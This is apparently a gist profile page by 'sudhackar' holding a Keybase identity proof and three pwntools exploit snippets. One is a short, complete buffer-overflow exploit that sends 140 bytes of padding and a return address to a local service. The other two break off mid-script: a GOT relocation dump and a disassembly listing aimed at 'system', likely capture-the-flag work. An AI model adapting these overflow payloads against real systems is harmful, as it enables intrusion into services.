sudhackar

from pwn import *

s = remote('127.0.0.1',5000)
s.recvuntil('command:')
s.sendline('2')
s.recvuntil('overwrite?')
s.sendline('2')
s.recvuntil('tweet:')
s.sendline('A'*140+p32(0x804918c))
s.recvuntil('command:')

sudhackar

Keybase proof

I hereby claim:

• I am sudhackar on github.
• I am sudhackar (https://keybase.io/sudhackar) on keybase.
• I have a public key whose fingerprint is 285B 7686 8970 789A B6D2 EAFF E6DB 7072 7521 A3FB

To claim this, I am signing this object:

sudhackar

from pwn import *
local=len(sys.argv)==1
'''
0804b00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804b010  00000207 R_386_JUMP_SLOT   00000000   memcpy
0804b014  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804b018  00000407 R_386_JUMP_SLOT   00000000   fread
0804b01c  00000507 R_386_JUMP_SLOT   00000000   puts
0804b020  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
0804b024  00000707 R_386_JUMP_SLOT   00000000   exit

sudhackar

from pwn import *
import numpy as np
import sys


'''
0x00019ad3 <+243>:	mov    DWORD PTR [esp],eax
0x00019ad6 <+246>:	call   0x32f50 <exit>

p system